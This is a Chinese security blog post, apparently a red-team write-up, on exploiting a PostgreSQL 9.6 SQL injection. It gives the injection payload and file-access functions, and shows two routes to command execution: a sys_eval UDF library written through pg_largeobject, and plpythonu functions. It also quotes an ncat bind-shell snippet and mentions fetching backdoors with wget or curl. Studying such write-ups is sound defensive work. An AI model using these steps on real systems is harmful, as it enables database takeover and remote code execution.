一次内部攻防演练,发现一站点的日期搜索功能存在SQL注入漏洞,经过初步探测,目标系统为Centos7+Apache+PHP7+PostGresql9.6;由于测试时忘记留存部分相关信息,此次复现是在docker环境下进行测试,省略了SqlMap跑数据库的过程。
在实际过程中,文章中后面提到的执行命令的方法,在通过获取到pgadmin界面同样适用。
注入点是通过手工注入进行测试发现POST方式提交id参数:
id=xxx-xxxx-xxx’ AnD 9527=9527 And ‘hello’=’hello
PostGresql的一般注入形式与Mysql大同小异,使用SQLMAP主要进行了以下测试。
一、获取PostGresql用户名与密码hash,在国内外各大平台尝试碰撞,无果;若破解出,尝试远程登陆数据库(PostGresql默认不允许远程登陆)。
二、跑users表;后台登录的数据表中密码应该是经过加盐运算的,无法登录后台进行测试;
三、尝试使用sqlmap反弹os-shell回来:sqlmap反弹系统shell大致原理是通过上传一个带上传文件功能的文件,然后通过该文件将另一文件上传,并通过第二个文件将终端输入的命令执行结果返回给终端。一般来讲,mysql或postgres数据库用户对当前网站目录是没有写入权限的,并且未通过报错等信息得到网站的根目录。
个人使用--os-shell此种方式只在mssql中成功过。
四、利用sqlmap在终端中反弹回一个sqlshell,利用此shell进行文件的读取、写入与执行。
Pg_logdir_ls()、pg_ls_dir()、pg_read_file()、pg_file_write()。
这些操作文件的函数权限只在PostgreSql目录及其子目录下:
默认目录是下面的这个。所以通过此类函数对其他目录下的文件进行读写。
针对读写文件利用方式思路为“创建数据库,将文件读取/写入数据库中,在导入/导出数据库”。
读文件:
写入文件也是通过类似的方式,但也没有向web目录下写入文件的权限。
在查阅参考资料、自己动手实践后,执行命令具体有两种方式。
在Postgres数据库中,可以在contrib文件夹下新增拓展包来实现用户自定义的函数、数据类型、触发器等来拓展服务器的功能,可以拓展控制文件、SQL文件、或者库文件,这里利用扩展库文件方式实现命令执行。
一、扩展库文件,调用扩展包函数执行命令:
网上公开的资料中提到,利用系统自带lib中的system()函数来执行,相当于是加载了外部动态链接库中的函数。
我这里的lib.so.6文件在此目录下
利用此so文件创建函数,报错:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'C' STRICT;
这是因为当PostgreSQL加载外部动态链接库时,外部库中没有引入magic data会首先检查有没有“Pg_magic_func”函数,若有则将其返回值与当前数据库内核做比较,不符合就报错,具体逻辑在src/backend/utils/fmgr/dfmgr.c 中定义的internal_load_library函数中。
查阅了下资料,具体开发postgresql其他库或C文件时,需要将magic data引入并编译。如下方是pentest-wiki中给出的反弹shell的实例(可将该代码编译为so文件上传反弹shell):
###BIND SHELL###
// bind shell on port 4444
//声明引入 magic data
PG_MODULE_MAGIC;
text *exec()
{
system("ncat -e /bin/bash -l -p 4444");
}
可以看出其中引入了magic data。
所以就需要我们自己去定义一个包含magic data并且能够执行命令的so文件,将该文件写入到目标机器中并添加其扩展库,执行命令。
这个在sqlmap中的udf目录中,有现成的so文件。
二、写入该文件
这里参考了:http://www.91ri.org/6507.html。利用postgresql大对象存储方式写入文件。
Postgresql提供了一套函数接口,可以用来操作大对象。这个大对象与普通的整型、时间类型等不同,是用于存储一些文件、图片等较大尺寸的数据对象。
每一个大对象会被拆分成一个个“LOBLKSIZE”大小的子项,当做元组项,置于数据页中。大对象在数据页中连续存储,每次的存储单位是一个元组(大小就是LOBLKSIZE)。
具体可参考:
https://www.yiibai.com/manual/postgresql/catalog-pg-largeobject.html
show blok_size查看LOBLK_SIZE。我这里是8k。
Posegresql中内置了一些可以操作大对象的系统函数。df lo_*命令查看。
pg_largeobject大对象包含以下三个字段,每一字段的具体含义如下:
三、利用PG lo写入对象。
将so文件转换为十六进制,并划分为每个大小为4k长度的十六进制字符串;
cat cmd.so | xxd -ps | tr -d “n”
1、创建大对象标识符,向此大对象数据中写入文件(数据表中体现就是数据的一列)。
SELECT lo_create(8848);
2、写入数据:
Insert into pg_largeobject values (8848,0,decode(‘7f454c.......’));
Insert into pg_largeobject values (8848,1,decode(‘020000.......’));
Insert into pg_largeobject values (8848,2,decode(‘ff4883f.......’));
Insert into pg_largeobject values (8848,3,decode(‘000000.......’));
Insert into pg_largeobject values (8848,4,decode(‘181e20.......’));
Insert into pg_largeobject values (8848,5,decode(‘d02000.......’));
3、导出数据:
Select lo_export(8848,’/tmp/cmd.so’);
4、创建函数并命令:
#创建
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
#执行
select sys_eval('id');
5、删除该函数:
drop function sys_eval;
就可以通过wget或curl等命令上传后门获取交互式的shell进行后续操作。
四、利用Perl/Python的脚本语言功能
原理参考:https://www.postgresql.org/docs/9.6/index.html
PostgreSql是一个开放的数据库,支持自定义数据类型,索引方法,函数与扩展编程语言等等。就是说可以将编程语言与数据库融为一体,将程序放到数据库中执行。也就是说可以利用python/perl等语言去执行系统命令。这些扩展语言是以插件的形式存在的。在postgresql安装的extension目录下:
PostgreSql中默认只支持C语言等,所以在获取目标sqlshell后,可以先查看当前系统中是否扩展函数:(此处以plpythonu{python2}为例)
利用:
通过postgresql扩展的plpython,自定义postgres函数来执行系统命令,执行命令的返回结果作为函数的返回值传递;
在postgresql中创建自定义的plpythonu函数有几种方式:
(1)用户自定义函数
(2)触发器函数,当用户对当前数据表有增删改查等操作时自动执行的函数;需要针对某一个表绑定该触发器,
这里以用户自定义函数为例:
创建函数标准语法(postgresql 9.6):
CREATE FUNCTION funcname (argument-list)
RETURNS return-type
AS $$
# PL/Python function body
$$ LANGUAGE plpythonu;
其中 #PL/Python function body是函数体,(通俗的说就是python脚本),执行命令demo:
注意,这里使用os.system(‘command’)来执行命令时,返回值为0或1,即为执行命令成功或失败。所以使用os.popen().read()返回参数执行结果(这里注意一下使用for等命令首行缩进等问题):
0x05 总结
针对Postgresql注入的命令执行方式,文中提到的第一种与mysql-UDF注入方法类似,区别是mysql-UDF注入中需引入的二进制文件必须写入到plugin文件夹下,postgresql-udf注入则可以写入任意文件夹;
第二种是使用postgresql中的扩展函数来执行命令。本例使用plpythonu执行命令。运维人员使用拓展语言是为了方便批量化操作与特殊处理,在实际的测试中,还可能遇到java/perl等语言的情况。能否利用,怎样利用,还是取决于对sql注入、数据库特性的理解。
1、本团队任何实战都是已授权的、任何技术及工具也仅用于学习分享,请勿用于任何非法、违法活动,如有违背请自行承担后果,感谢大家的支持!!!
2、本团队一贯秉承Free共享的精神,但是也有大家的小愿望,因此本团队所有分享工具,严禁不经过授权的公开分享,被关注就是对我们付出的精力做的最大的支持。
END
本文始发于微信公众号(NOVASEC):实战案例:针对某系统postgresql注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论